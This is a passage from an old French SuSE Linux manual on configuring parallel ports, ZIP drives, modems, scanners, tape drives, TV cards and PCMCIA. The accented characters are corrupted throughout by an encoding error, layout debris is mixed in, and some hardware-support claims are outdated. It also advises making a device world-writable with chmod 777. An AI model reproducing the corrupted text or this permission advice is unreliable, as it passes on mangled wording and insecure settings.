sur COM1 , le module sera automatiquement chargΘ avant l'Θtablissement de la
connexion avec le fournisseur d'accΦs.
306
_____________________________________________________________________________________10.4.__Interfaces_de_la_machine________*
*______________________
Vous pouvez modifier la configuration de vos interfaces sΘries avec le pe-
tit programme setserial . Ce programme sera aussi exΘcutΘ α chaque dΘmar-
rage du systΦme par le script /sbin/init.d. Vous trouverez des informa-
tions complΘmentaires sur setserial dans les pages de man concernant ce pro-
gramme. Il est accΘdΘ aux ports sΘrie α travers les fichiers de pΘriphΘriques
/dev/ttyS0, /dev/ttyS1, et suivants
10.4.3 Ports parallΦles
Le port parallΦle de votre machine est principalement utilisΘ pour le raccor-
dement des imprimantes. Mais vous pouvez aussi vous en servir pour les lec-
teurs ZIP externes ainsi que pour les lecteurs de CD.
Le sous-systΦme ``Parport'' du noyau Linux actuel 2.2.xx a ΘtΘ conτu pour
permettre d'utiliser simultanΘment plusieurs pΘriphΘriques sur un mΩme port
parallΦle.1 Citons comme exemple d'application la connexion sur port paral-
lΦle d'un lecteur ZIP auquel une imprimante est rattachΘe.
Initialiser parport
Un noyau avec support parport et parport_pc vous est nΘcessaire.2 Ici,
parport est le sous-systΦme proprement dit du noyau alors que parport_pc
se charge de l'intΘgration au niveau matΘriel du port du PC ainsi que de
quelques machines AXP. Avec la commande
terre: # modprobe parport_pc
vous pouvez insΘrer manuellement les modules. Assurez-vous, en lanτant la
commande lsmod , que le port a ΘtΘ dΘtectΘ et a pu ensuite Ωtre configurΘ. Il
devrait alors apparaεtre dans la liste des modules parport et parport_pc .
Consultez aussi le fichier /var/log/messages pour savoir avec quelles va-
leurs parport a ΘtΘ initialisΘ (voir fichier 10.4.1).
_______________________________________________________________________________________________________________________||
|||||||| Jun 3 09:15:53 tux kernel: parport0: PC-style at 0x378 [SPP, |
|||||||| ECP] |
||||||||_______________________________________________________________________________________________________________ |
fichier 10.4.1: /var/log/messages : Initialisation de parport
Les entrΘes du fichier 10.4.2 sont utilisΘes pour la configuration du port. L'en-
trΘe placΘe en commentaire vous indique comment ajouter un port parallΦle.
_______________________________________________________________________________________________________________________||
|||||||| alias parport_lowlevel parport_pc |
|||||||| options parport_pc io=0x378 irq=none |
|||||||| |
|||||||| |
|||||||| # If you have multiple parallel ports, specify them this way: |
|||||||| # options parport_pc io=0x378,0x278 irq=none,none |
||||||||_______________________________________________________________________________________________________________ |
fichier 10.4.2: /etc/modules.conf : parport -Konfiguration
1 ____________________________________________________
Le ``vieux'' noyau 2.0.xx ne permet d'utiliser qu'un seul et unique pΘriphΘrique sur un port
parallΦle et les connexions ``en chaεne'' ne sont en gΘnΘral pas non plus possibles !
2 Vous n'avez pas besoin de compiler votre propre noyau, les modules nΘcessaires Θtant fournis
prΘcompilΘs avec SuSE Linux !
*
* 307
10. L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| En cas de difficultΘs, contr⌠lez d'abord dans le BIOS de la machine com- *
* ||||
|| ment est paramΘtrΘe l'interface en question. Il devrait lui Ωtre explicitement *
* ||||
| assignΘ une adresse (si possible 0x378 ) et elle devrait aussi avoir sa propre *
* ||||
| *
* |||
| interruption. D'Θventuelles ``auto''-configurations sont α Θviter. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Parfois il est aussi nΘcessaire d'activer les pΘriphΘriques dans un ordre prΘcis.
Consultez α ce sujet les manuels d'accompagnement ! Il s'est avΘrΘ efficace
d'activer d'abord la machine et immΘdiatement aprΦs ~ avant que l'amorτage
ne commence ~ les pΘriphΘriques externes !
Utiliser parport : Imprimante, lecteurs ZIP, PLIP etc.
Si vous voulez utiliser un pΘriphΘrique sur port parallΦle, vous devez tout
d'abord charger le module appropriΘ. Dans le cas d'une imprimante, il s'agit
du module lp :
terre: # modprobe lp
Et lsmod devrait afficher, entre autre :
________________________________________________________________________________________________________*
*________
| parport_pc 5568 1 (autoclean) *
* |
| *
* |
| parport 6884 1 [parport_pc lp] *
* |
| lp 5116 0 (unused) *
* |
|_______________________________________________________________________________________________________*
*________ |
Ce qui suit est aussi valable dans ce cas : Les entrΘes dans le fichier /var/
log/messages ainsi que dans le systΦme de fichiers proc sous /proc/
parport fournissent des informations prΘcises. Si tout marche bien vous
n'aurez plus besoin de charger manuellement les modules ~ ceci sera effectuΘ
automatiquement par Kmod (voir paragraphe 13.2 page 361) par exemple
lorsqu'une requΩte d'impression sera envoyΘe. Les lecteurs ZIP sont gΘrΘs
soit par ppa , soit par imm ~ voir plus bas paragraphe 10.5.3 page ci-contre.
Remarques complΘmentaires
Voyez, dans les sources du noyau, les fichiers parport.txt et paride.txt
du rΘpertoire /usr/src/linux/Documentation.
Vous pouvez obtenir des informations sur l'Θtat actuel de la programma-
tion de parport sous l'URL http://www.torque.net/linux-pp.html
ou http://www.torque.net/parport/
10.4.4 USB ~ Universal Serial Bus
L' Universal Serial Bus constitue l'une des plus importantes innovations qui
ont eu lieu sur le marchΘ des PC au cours de ces derniΦres annΘes. └ l'aide de
ce systΦme de bus, vous pouvez raccorder de faτon simple α votre machine un
trΦs grand nombre de pΘriphΘriques divers tels que par exemple souris, cla-
vier, imprimante et aussi scanner. Chacun de ces pΘriphΘriques dispose de la
mΩme douille et il est raccordΘ α l'ordinateur par le mΩme cΓble. Ceci rend su-
perflus les nombreux cΓbles tels que RS232 ou Centronics encore nΘcessaires
actuellement. Le bus est Θgalement en mesure de signaler au systΦme en cours
308
____________________________________________________________________________________________10.5.__Supports_amovibles_______*
*______________________
de fonctionnement la prΘsence ou l'absence de pΘriphΘriques. Il est ainsi pos-
sible, par exemple, de connecter ou de dΘconnecter l'imprimante sans avoir α
redΘmarrer la machine.
Sous Linux, le support de ce systΦme de bus n'est malheureusement pas en-
core complet. Il ne vous sera donc pas encore possible d'utiliser sous Li-
nux des pΘriphΘriques raccordΘs par ce bus. Vous trouverez plus d'infor-
mations sur l'implΘmentation de USB sous Linux α l'URL http://www.
linux-usb.org/.
10.5 Supports amovibles
Sous Linux, les plus divers supports amovibles peuvent Ωtre utilisΘs : lecteurs
de disquettes, lecteurs ZIP, lecteurs JAZ ou lecteurs SyQuest ainsi que les
lecteurs magnΘto-optiques.
10.5.1 Lecteurs de disquettes
Les utilitaires du paquetage mtools ont ΘtΘ dΘveloppΘs pour permettre un ac-
cΦs simple aux disquettes formatΘes MS-DOS. Le paragraphe 19.12 page 501
vous informe sur les possibilitΘs de ces programmes et sur leur utilisation.
Vous pouvez bien entendu aussi traiter des disquettes formatΘes ext2 ou
minix . De nombreux autres systΦmes de fichiers peuvent aussi Ωtre utilisΘs.
Vous devez pour cela les rattacher au systΦme de fichiers avec la commande
mount . Lisez le paragraphe 19.11 page 499 pour plus de dΘtails.
10.5.2 Lecteurs LS 120
Les lecteurs LS 120 sont raccordΘs au port IDE de la machine et le systΦme les
considΦre comme Θtant des disques durs. Ils doivent donc Ωtre aussi rattachΘs
au systΦme de fichiers α l'aide de la commande mount .
10.5.3 Lecteurs ZIP
Il existe des lecteurs ZIP pour diffΘrents types de ports : port parallΦle, IDE,
SCSI et maintenant aussi USB (ce dernier n'est pas encore supportΘ).
Pour les lecteurs IDE et SCSI, vous n'avez pas besoin de pilotes particuliers.
Ces variantes sont raccordΘes au bus correspondant et les pilotes (IDE ou
SCSI) qui les gΦrent peuvent y accΘder. On accΦde aux pΘriphΘriques par les
fichiers de pΘriphΘriques
/dev/hda - /dev/hdd pour IDE (ATAPI)
et
/dev/sda - /dev/sdm pour SCSI
Vous devez, toujours α l'aide de la commande mount , rattacher le lecteur au
systΦme de fichiers.
L'intΘgration de la version port parallΦle est un peu plus compliquΘe. Elle
requiert un support de disques durs SCSI, un support pour parport et
*
* 309
10. L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
*_______________________________________@
parport_pc (voir paragraphe 10.4.3 page 307) ainsi que le pilote ppa ou
le pilote imm du noyau3 . Le pilote imm gΦre les lecteurs les plus rΘcents, tels
que par exemple le ZIP 250. Vous devez en outre vous assurer que le mode
du port parallΦle est fixΘ α EPP dans le BIOS de la machine. Tentez donc tout
d'abord de charger imm :
terre: # modprobe imm
En cas d'Θchec, recommencez avec ppa :
terre: # modprobe ppa
Le sous-systΦme parport devrait ainsi Ωtre initialisΘ automatiquement. Si
cela n'a pas fonctionnΘ, reportez-vous α la page 307.
Parfois une entrΘe dans le fichier /etc/modules.conf peut aider α rΘ-
soudre le problΦme (voir fichier 10.5.1). L'alias pour scsi_hostadapter
ne doit Ωtre utilisΘ que si vous n'avez pas d'adaptateur h⌠te SCSI rΘgu-
lier dans votre systΦme ! Comme alternative, vous avez aussi la possibilitΘ
d'insΘrer les commandes modprobe nΘcessaires dans le script de dΘmar-
rage /sbin/init.d/boot.local. Pour ce fichier, voir le paragraphe 17.4
page 448 et pages suivantes.
________________________________________________________________________________________________________*
*________||
| # alias scsi_hostadapter ppa *
* |
| pre-install ppa modprobe "-k" parport_pc *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 10.5.1: /etc/modules.conf : ppa -Konfiguration
On peut alors accΘder aux disquettes ZIP comme aux disques SCSI et il est
donc nΘcessaire de ``monter'' ces supports (voir aussi le paragraphe 19.11.2
page 500) .
10.6 Modems
10.6.1 Modems externes
Les modems externes sont directement raccordΘs au port sΘrie de la machine.
Les programmes peuvent communiquer avec le modem α travers les fichiers
de pΘriphΘriques /dev/ttyS0, /dev/ttyS1 et suivants. La configuration du
modem pour un accΦs Internet est dΘcrite au paragraphe 6.5 page 190.
10.6.2 Modems internes
Les modems internes sont reliΘs soit au bus PCI, soit au bus ISA de la ma-
chine. Vous trouverez α ce sujet des informations complΘmentaires au para-
graphe 10.2 page 293.
Les modems Θtant pilotΘs par le biais de ports sΘrie, les modems internes
doivent fournir eux-mΩme ce port.
Le tableau 10.2 page ci-contre vous donne un aperτu des ressources standards
pour ports sΘrie.
_____________________________________________3
Le pilote ppa et le pilote imm se cachent parmi les ``pilotes SCSI de bas niveau'' ~ Vous
n'avez toutefois pas besoin de compiler votre propre noyau. Les modules nΘcessaires sont fournis
prΘcompilΘs avec SuSE Linux !
310
_____________________________________________________________________________________________________________10.6.__Modems__*
*______________________
____________________________________________________________________________________________________________________________*
*______
||||||||__Fichier_de_pΘriphΘrique__|_Nom___|_____Interruption__|_________Adresse_d'E/S______________________________|_______*
*_______
||||||||__/dev/ttyS0_________________COM|1____|__4____________________|__0x3f8______________________________________|_______*
*______
||||||||__/dev/ttyS1_________________COM|2____|__3____________________|__0x2f8______________________________________|_______*
*______
||||||||__/dev/ttyS2_________________COM|3____|__4____________________|__0x3e8______________________________________|_______*
*______
||||||||__/dev/ttyS3_________________COM|4____|__3____________________|__0x2e8______________________________________|_______*
*______
Tab. 10.2: Ressources standards pour ports sΘrie
Modems PCI
Si vous possΘdez un modem PCI, il s'agit probablement de ce que l'on ap-
pelle un ``Winmodem''. Les Winmodems ne sont pas vraiment des modems.
Ils utilisent un pilote spΘcial qui Θmule un modem normal. Ce pilote est fourni
par le conctructeur du modem et il n'est malheureusement disponible actuel-
lement que pour Microsoft Windows.
Vous trouverez des informations plus dΘtaillΘs sur les Winmodems et leur sup-
port pour Linux sous l'URL http://www.o2.net/~gromitkc/winmodem.
html.L
Modems ISA
Pour la mise en oeuvre de modems ISA, deux phases sont nΘcessaires :
~ Le modem lui-mΩme doit Ωtre configurΘ (IRQ et adresse d'E/S du port).
~ Le noyau doit connaεtre le nouveau port.
Initialisation du modem
Ainsi qu'il a dΘjα ΘtΘ dΘcrit au paragraphe 10.2 page 293, les cartes bus ISA
peuvent Ωtre des cartes Legacy, Jumperless ou PnP. Dans ce paragraphe, il est
Θgalement dΘcrit comment sont activΘes les cartes PnP.
Quelques informations sur la configuration de la carte :
La configuration de la carte sur /dev/ttyS1 avec l'IRQ 3 (COM2 ) est la moins
problΘmatique. Il est Θgalement possible d'utiliser /dev/ttyS3 (IRQ 4) mais
il peut survenir des conflits avec /dev/ttyS0 (COM1 ) car ce port utilise aussi
l'IRQ 4. Si vous avez une souris sΘrie (sur COM1 ), vous ne devez donc pas
configurer le modem sur /dev/ttyS0 ou /dev/ttyS2.
Les IRQ 5 et 7 sont aussi α Θviter car ils sont souvent utilisΘs par les cartes
son et les ports d'imprimantes.
Si vous utilisez votre carte son PnP avec OSS, faites en sorte que la carte ne
soit pas activΘe dans le fichier /etc/isapnp.conf (ACT Y doit Ωtre placΘe
en commentaire).
Transmission de paramΦtres au noyau
Lorsque le modem a ΘtΘ configurΘ, le noyau doit avoir des informations sur
le nouveau port. Si vous avez configurΘ votre modem sur /dev/ttyS0 ou
/dev/ttyS1, vous n'aurez aucune modification α faire. AprΦs le prochain
redΘmarrage du systΦme, les ports seront automatiquement configurΘs.
*
* 311
10. L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
*_______________________________________@
Si vous utilisez d'autres combinaisons de port d'E/S et d'IRQ, vous devez
faire connaεtre le port α l'aide de la commande setserial :
terre:/ # setserial /dev/ttyS3 irq 10
Vous pourrez ensuite ~ ainsi qu'il est dΘcrit au paragraphe 6.5 page 190 ~
configurer le modem pour l'accΦs Internet.
Pour automatiser la configuration α l'aide de la commande setserial , vous
pouvez modifier le fichier /sbin/init.d/serial.
Pour que notre configuration exemple soit automatisΘe, le fichier doit Ωtre
modifiΘ comme suit :
La ligne
# run_setserial /dev/ttyS3 $AUTO_IRQ autoconfig
est modifiΘe pour devenir
run_setserial /dev/ttyS3 irq 10
10.7 Scanners
Pour utiliser un scanner sous Linux, il vous faut ~ comme sous d'autres sys-
tΦmes d'exploitation ~ un ensemble de programmes et de pilotes spΘciaux. Le
paquetage sane (sΘrie gra) constitue un tel ensemble en combinaison avec le
paquetage scsiinfo (sΘrie ap). └ l'aide de SANE , vous pouvez utiliser un
scanner raccordΘ α l'un des adaptateurs SCSI supportΘs par le noyau Linux.
Les scanners reliΘs au port parallΦle (port imprimante) de la machine ne sont
pas encore supportΘs bien que des pilotes soient dΘjα en cours de dΘveloppe-
ment. Ceci est Θgalement valable pour les scanners USB.
Comme il est continuellement apportΘ des extensions α SANE, le nombre de
scanners supportΘs s'accroεt constamment. Une liste des plus rΘcentes ver-
sions de scanners supportΘs se trouve sous l'URL http://www.mostang.
com/sane/sane-backends.html.
Comment configurer le pilote de scanner sous Linux ?
Sous Linux, on accΦde aux scanners comme α des ``pΘriphΘriques gΘnΘriques
SCSI'', c'est-α-dire en passant par les fichiers de pΘriphΘriques /dev/sg0
jusqu'α /dev/sg<XX> .
Pour trouver dans votre systΦme le fichier appropriΘ, vous devriez avoir re-
cours au petit programme sgcheck :
terre: # sgcheck
Vous devriez obtenir quelque chose de ce genre :
Assignment of generic SCSI devices,
device host/channel/ID/LUN type(numeric type) vendor model:
/dev/sg0 0/0/0/0 Direct-Access(0) SEAGATE ST32550N
/dev/sg1 0/0/1/0 CD-ROM(5) PIONEER CD-ROM DR-U10X
/dev/sg2 0/0/5/0 Processor(3) HP C2500A
On peut reconnaεtre les scanners α la dΘnomination des pΘriphΘriques telles
que processeur ou aussi SCANNER . ~ Dans l'exemple ci-dessus, votre scan-
ner est accessible α travers le fichier de pΘriphΘrique /dev/sg2.
312
__________________________________________________________________10.8.__Lecteurs_de_bandes_(angl._streamers)_______________*
*______________________
CrΘez un lien symbolique pointant de ce pΘriphΘrique sur /dev/scanner :
terre:/ # ln -s /dev/sg2 /dev/scanner
Ensuite, vous devez encore modifier en consΘquence les droits pour le pΘri-
phΘrique SCSI gΘnΘrique. SANE attend, outre des droits de lecture, aussi des
droits d'Θcriture sur le phΘriphΘrique car il doit envoyer des commandes au
scanner :
terre:/ # chmod 777 /dev/sg2
ProblΦmes
Dans le cas o∙ votre scanner ne serait pas dΘtectΘ par SANE, vΘrifiez s'il a
ΘtΘ dΘtectΘ par votre contr⌠leur SCSI :
terre:/ # cat /proc/scsi/scsi
La sortie devrait avoir α peu prΦs cet aspect :
Attached devices:
Host: scsi0 Channel: 00 Id: 00 Lun: 00
Vendor: SEAGATE Model: ST32550N Rev: 0016
Type: Direct Access ANSI SCSI revision: 02
Host: scsi0 Channel: 00 Id: 01 Lun: 00
Vendor: PIONEER Model: CD-ROM DR-U10X Rev: 1.07
Type: CD-ROM ANSI SCSI revision: 02
Host: scsi0 Channel: 00 Id: 02 Lun: 00
Vendor: QUANTUM Model: FIREBALL TM3200S Rev: 1.07
Type: Direct-Access ANSI SCSI revision: 02
Host: scsi0 Channel: 00 Id: 06 Lun: 00
Vendor: SCANNER Model: Rev: 2.00
Type: Scanner ANSI SCSI revision: 01 CCS
Au cas o∙ vous ne trouveriez pas ici d'entrΘe telle que ``SCANNER'' ou
``PROCESSOR'', cela signifie que le scanner n'a pas ΘtΘ reconnu par le
contr⌠leur. VΘrifiez si le scanner est en fonction et si la terminaison du
bus SCSI est correcte.
10.8 Lecteurs de bandes (angl. streamers)
Les lecteurs de bandes appelΘs aussi streamers sont utilisΘs principalement
pour la sauvegarde de grandes quantitΘs de donnΘes. Il existe sur le marchΘ
des lecteurs de bandes avec diffΘrentes interfaces vers la machine.
Lecteurs de bandes SCSI
Les plus connus sont probablement les lecteurs raccordΘs directement au bus
SCSI. Vous pouvez partir du principe que tous les lecteurs de bandes reliΘs α
un adaptateur SCSI supportΘ par Linux peuvent Ωtre utilisΘs. Si votre lecteur
de bandes est dotΘ de fonctions peu communes (par exemple Θchange de
bande), il vous faudra trΦs souvent des logiciels spΘciaux pour pouvoir tirer
parti de ces fonctions.
Voici comment on peut accΘder au lecteur de bandes SCSI :
*
* 313
10. L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
*_______________________________________@
~ On accΦde au premier lecteur de bandes dans le systΦme α travers les fi-
chiers de pΘriphΘriques /dev/st0 et /dev/nst0, au deuxiΦme par /dev/
st1 et /dev/nst1 et ainsi de suite. /dev/stX reprΘsente un lecteur qui
aprΦs chaque action rembobine la bande.
/dev/nstX rΘfΘrence par contre un lecteur qui laisse constamment la
bande dans la position actuelle.
Nous vous recommandons d'utiliser /dev/nstX car la commande mt
permet de piloter le lecteur de faτon prΘcise.
~ Utilisez par consΘquent la commande mt pour envoyer au lecteur des
instructions pour le contr⌠le de la bande.
terre:/ # mt -f /dev/nst0 retension
Retend la bande en la rembobinant du dΘbut α la fin.
terre:/ # mt -f /dev/nst0 rewind
Rembobine la bande α son dΘbut. Vous pouvez ainsi ajouter de nouvelles
donnΘes sur une bande dont une partie contient dΘjα des enregistrements.
terre:/ # mt -f /dev/nst0 eom
Rembobine la bande derriΦre le dernier jeu de donnΘes. Vous pouvez ainsi
ajouter de nouvelles donnΘes sur une bande dont une partie contient dΘjα
des enregistrements.
terre:/ # mt -f /dev/nst0 erase
Efface la bande dans le lecteur. Attention ! Toutes les donnΘes contenues
sur la bande sont perdues.
Lecteurs de bandes IDE
Les lecteurs de bandes IDE sont raccordΘs au bus IDE de la machine. Le
lecteur est reconnu automatiquement par Linux et vous pouvez alors l'utiliser
α travers les fichiers de pΘriphΘriques /dev/ht0 ou /dev/nht0.
Utilisez la commande mt ainsi qu'il est dΘcrit au paragraphe 10.8 page prΘ-
cΘdente
Lecteurs de bandes raccordΘs au contr⌠leur de disquettes
Ces lecteurs de bandes sont simplement raccordΘs au contr⌠leur de disquettes
dont dispose chaque machine.
Comme l'accΦs α ces pΘriphΘriques requiert une coordination temporelle trΦs
prΘcise, il survient souvent des problΦmes lors de la sauvegarde des donnΘes.
Pour utiliser ces lecteurs sous Linux, il faut un pilote spΘcial ftape . Ce pilote
est dΘjα fourni avec le noyau. Vous trouverez plus de dΘtails sur la configu-
ration de ces pΘriphΘriques dans la documentation sous /usr/src/linux/
Documentation/ftape.txt. La documentation concernant le sous-systΦme
ftape se trouve dans la page personnelle du dΘveloppeur :
http://www.math1.rwth-aachen.de/~heine/ftape/.
10.9 Cartes TV
Sous Linux, il est possible depuis dΘjα un certain temps de regarder la tΘlΘ-
vision sous une interface graphique (le systΦme X Window) α l'aide d'une
carte TV. Ceci est rΘalisable grΓce α toute une sΘrie de modules du noyau et
de programmes appropriΘs.
314
__________________________________________________________________________________________________________10.9.__Cartes_TV__*
*______________________
Quelles sont les cartes supportΘes ?
Par principe, le support dΘpend du circuit utilisΘ sur la carte. Au cours de ces
derniΦres annΘes, les circuits d'acquisition vidΘo de la sociΘtΘ Brooktree se
sont Θtablis. Sous Linux, on peut utiliser les cartes dotΘes des circuits BT848
et ``BT878''. Bien que le support pour BT878 ne soit pas encore complet, on
peut dΘjα le considΘrer comme stable.
Citons comme exemples pour de telles cartes Hauppauge WIN/TV et Miro
PC/TV .
Comment le support est-il activΘ ?
~ Connectez-vous α votre systΦme comme utilisateur `root'.
~ Installez tout d'abord le paquetage bttv de la sΘrie gra avec YaST .
~ Passez dans le rΘpertoire /usr/doc/packages/bttv/tools et lancez le
programme update :
terre:/ # cd /usr/doc/packages/bttv/tools
terre:/usr/doc/packages/bttv/tools # ./update
Ce script prΘpare votre systΦme pour l'utilisation de cartes TV. Il dΘtecte la
carte TV prΘsente dans votre systΦme, ajoute les entrΘes correspondantes
dans le fichier /etc/modules.conf. et intΦgre les modules nΘcessaires
dans le systΦme.
En cas de problΦme avec la carte TV, vous devriez commencer par lire la do-
cumentation contenue dans le rΘpertoire /usr/doc/packages/bttv/doc.
Vous trouverez en outre quelques articles dans notre base de donnΘes support
sur Internet : http://sdb.suse.de (mot-clΘ : tv ).
*
* 315
10. L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
*_______________________________________@
316
Chapitre 11
Notebooks ~ PCMCIA, APM, IrDA
Les notebooks doivent rΘpondre α des exigences particuliΦres. On s'attend,
entre autre, α ce qu'ils soient dotΘs de composants tels que ``Advanced Power
Management'' (APM), interface infrarouge (IrDA) et cartes PC (PCMCIA).
Ces composants se rencontrent parfois aussi dans les ordinateurs de bureau
et ils ne prΘsentent pas beaucoup de diffΘrence avec ceux utilisΘs dans les
notebooks ~ c'est pourquoi nous allons dΘcrire globalement dans ce chapitre
leur mise en oeuvre et leur configuration.
Ceux qui sont intΘressΘs par les expΘriences dΘjα faites avec certains no-
tebooks devraient absolument visiter la ``Linux Laptop Homepage'' sous
http://www.cs.utexas.edu/users/kharker/linux-laptop. Une
autre source d'informations intΘressante est la page Web ``LiLAC'' sous
http://home.snafu.de/wehe/index_li.html. On y trouve aussi bien
un Laptop-Howto qu'un IrDA-Howto.
11.1 PCMCIA
11.1.1 Le matΘriel
PCMCIA est l'acronyme de ``Personal Computer Memory Card International
Association''. Cet acronyme est couramment employΘ comme dΘnomination
collective pour tous les composants matΘriels et logiciels en rapport avec ce
standard. Le composant principal est la carte PCMCIA dont on distingue deux
types :
Cartes PC : Ce sont les cartes que l'on rencontre aujourd'hui le plus frΘ-
quemment. Elles utilisent un bus d'une largeur de 16 bits pour le transfert
des donnΘes et sont en gΘnΘral assez avantageuses. Pour un trΦs grand
nombre de ces cartes, il existe un support stable et sans problΦme.
Cartes CardBus : Il s'agit d'un standard assez rΘcent. Ces cartes utilisent
un bus d'une largeur de 32 bits et sont ainsi plus rapides mais aussi plus
co√teuses. Comme le taux de transfert des donnΘes est par ailleurs sou-
vent limitΘ, il ne vaut gΘnΘralement pas la peine de faire cette dΘpense.
Il existe maintenant pour ces cartes un grand nombre de pilotes mais cer-
tains d'entre eux sont encore instables ~ ceci dΘpend aussi du contr⌠-
leur PCMCIA utilisΘ.
La carte insΘrΘe peut Ωtre identifiΘe par la commande cardctl ident . Vous
trouverez une liste des cartes supportΘes dans SUPPORTED_CARDS de /usr/
*
* 317
11. Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________*
*_______________________________________@
doc/packages/pcmcia. Vous y trouverez Θgalement la version actuelle du
PCMCIA-HOWTO.
Le deuxiΦme composant indispensable est le contr⌠leur PCMCIA mais peut
aussi Ωtre le pont PC-Card/CardBus. Celui-ci relie la carte au bus PCI et, dans
les pΘriphΘriques plus anciens, au bus ISA. Ces contr⌠leurs sont presque tou-
jours compatibles avec les circuits i82365 d'Intel et tous les modΦles cou-
rants sont supportΘs. Le type du contr⌠leur peut Ωtre identifiΘ avec la com-
mande probe . Dans le cas d'un pΘriphΘrique PCI, la commande lspci -vt
fournit aussi d'intΘressantes informations.
11.1.2 Les logiciels
Tous les pilotes et programmes nΘcessaires se trouvent, pour autant qu'ils ne
soient pas dΘjα intΘgrΘs dans le noyau, dans le paquetage PCMCIA, sΘrie a1.
La base est constituΘe par les modules pcmcia_core, i82365 (ou, rarement,
tcic) et ds. Ces modules sont normalement dΘmarrΘs automatiquement lors
de l'amorτage. Ils initialisent les contr⌠leurs PCMCIA prΘsents et mettent α
disposition des fonctions de base.
Comme les cartes PCMCIA peuvent Ωtre changΘes en cours de fonctionne-
ment du systΦme, il doit exister un + dΘmon qui contr⌠le les activitΘs dans
les emplacements d'enfichage. Cette tΓche est assumΘe par le gestionnaire de
pΘriphΘriques (cardmgr ) qui est lancΘ automatiquement aprΦs le chargement
des modules de base. Lorsqu'une carte est insΘrΘe, le gestionnaire de pΘri-
phΘriques identifie son type et sa fonction et charge les modules adΘquats.
Avec lsmod , on peut voir quels modules ont ΘtΘ chargΘs. Lorsque tous les
modules ont ΘtΘ chargΘs avec succΦs, le gestionnaire de pΘriphΘriques lance,
dΘpendamment de la fonction de la carte, certains scripts d'initialisation qui,
de leur c⌠tΘ, Θtablissent par exemple la connexion rΘseau ou montent des par-
titions de disques SCSI externes. Lorsque la carte est retirΘe, le gestionnaire
de pΘriphΘriques termine, α l'aide des mΩmes scripts, les diverses activitΘs de
la carte. Ensuite, les modules qui ne sont maintenant plus nΘcessaires sont
dΘchargΘs.
ThΘoriquement, la carte peut Ωtre retirΘe purement et simplement. Ce procΘdΘ
fonctionne parfaitement aussi pour les cartes rΘseau, les cartes modem ou les
cartes ISDN, tant qu'il n'existe plus de connexions rΘseau actives. Mais il
ne fonctionne pas en relation avec les partitions montΘes d'un disque externe
ou avec des rΘpertoires NFS. On doit ici faire en sorte que les unitΘs soient
dΘmontΘes de maniΦre synchronisΘe et correcte, ce qui n'est Θvidemment plus
possible lorsque la carte a dΘjα ΘtΘ retirΘe. En cas de doute, il est utile de taper
terre: # cardctl eject
Cette commande dΘsactive les cartes aussi longtemps qu'elles se trouvent
encore dans le notebook.
11.1.3 Configuration
AprΦs installation du paquetage PCMCIA, on trouve quatre variables
PCMCIA dans /etc/rc.config. La variable START_PCMCIA dΘtermine
si le service doit Ωtre dΘmarrΘ lors de l'amorτage. Il peut toujours Ωtre dΘ-
marrΘ manuellement par la commande rcpcmcia start mΩme lorsque
318
____________________________________________________________________________________________________________11.1.__PCMCIA___*
*______________________
START_PCMCIA a ΘtΘ positionnΘe α no . La variable PCMCIA contient le type
du contr⌠leur PCMCIA. Cette valeur est automatiquement dΘterminΘe lors
de l'installation et elle est presque toujours fixΘe α i82365 . Les deux va-
riables restantes, PCMCIA_PCIC_OPTS et PCMCIA_CORE_OPTS , contiennent
des options pour les modules de base et peuvent, en cas normal, rester vides.
L'option do_pnp=0 prΘvue par dΘfaut dans PCMCIA_CORE_OPTS n'est essen-
tielle que pour les notebooks Compaq. Le choix du module pilote appropriΘ
α la carte utilisΘe Θtant fait par le gestionnaire de pΘriphΘriques (cardmgr ),
il n'est plus nΘcessaire, en gΘnΘral, d'effectuer d'autres configurations matΘ-
rielles.
Ethernet et TokenRing
Les connexions rΘseau Ethernet ou TokenRing peuvent Ωtre configurΘes sans
problΦme avec YaST . Le dialogue `Configuration de base du rΘ-
seau' se trouve sous `Administration du systΦme' ! `Configurer
le rΘseau'. La configuration se fait comme pour les pΘriphΘriques_ intΘ-
grΘs. Outre cela, le pΘriphΘrique concernΘ doit Ωtre marquΘ, avec |F___|9, comme
pΘriphΘrique PCMCIA. Voir le paragraphe 3.6.3 page 106. Il doit Ωtre tenu
compte de ce qui suit :
~ Lorsque plusieurs pΘriphΘriques Ethernet ou TokenRing ont ΘtΘ marquΘs
comme Θtant PCMCIA, seule la configuration du premier pΘriphΘrique
sera prise en compte.
~ Contrairement α ce qui se passe pour les cartes rΘseau normales, les confi-
gurations deviennent_immΘdiatement actives dΦs que vous quittez le dia-
logue avec |F____1|0.
~ Les noms de pΘriphΘriques (eth0 , eth1 , tr0 : : : ) ne sont affichΘs
que pour fournir une information sur le type de pΘriphΘrique car avec
PCMCIA, la numΘrotation se fait de faτon dynamique.
~ Si une entrΘe qui a ΘtΘ dΘsactivΘe est maintenant rΘactivΘe avec | ____|F4, le
pΘriphΘrique_doit de nouveau Ωtre marquΘ comme pΘriphΘrique PCMCIA
avec |F___|9.
ISDN
Pour les cartes PC ISDN, la configuration se fait aussi de la maniΦre habi-
tuelle. Voir le paragraphe 6.2 page 173. Il suffit de marquer la carte comme pΘ-
riphΘrique PCMCIA dans `Configuration de base du rΘseau' (sous
`Administration_ du systΦme' ! `Configurer le rΘseau') avec la
touche |___F|9. Dans le dialogue `Configuration du matΘriel ISDN', il
n'est pas nΘcessaire de spΘcifier d'IRQ ni de port d'E/S. Le protocole de
transmission (Euro-ISDN ou 1TR6) ne peut pas ici Ωtre modifiΘ.
Parmi les cartes PCMCIA, il existe ce que l'on appelle les modems ISDN.
Ce sont en gΘnΘral des cartes modem ou des cartes multifonctions avec un
``kit de connexion ISDN'' supplΘmentaire. Ces cartes sont traitΘes comme des
modems.
*
* 319
11. Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________*
*_______________________________________@
Modem
Pour les cartes PC modem, il n'existe pas normalement de configurations
spΘcifiques PCMCIA. DΦs qu'un modem est insΘrΘ, il est disponible sous
/dev/modem. La configuration avec wvdial (wvdial ) se fait comme pour les
modems ordinaires. Voir le paragraphe 6.6 page 190.
SCSI et IDE
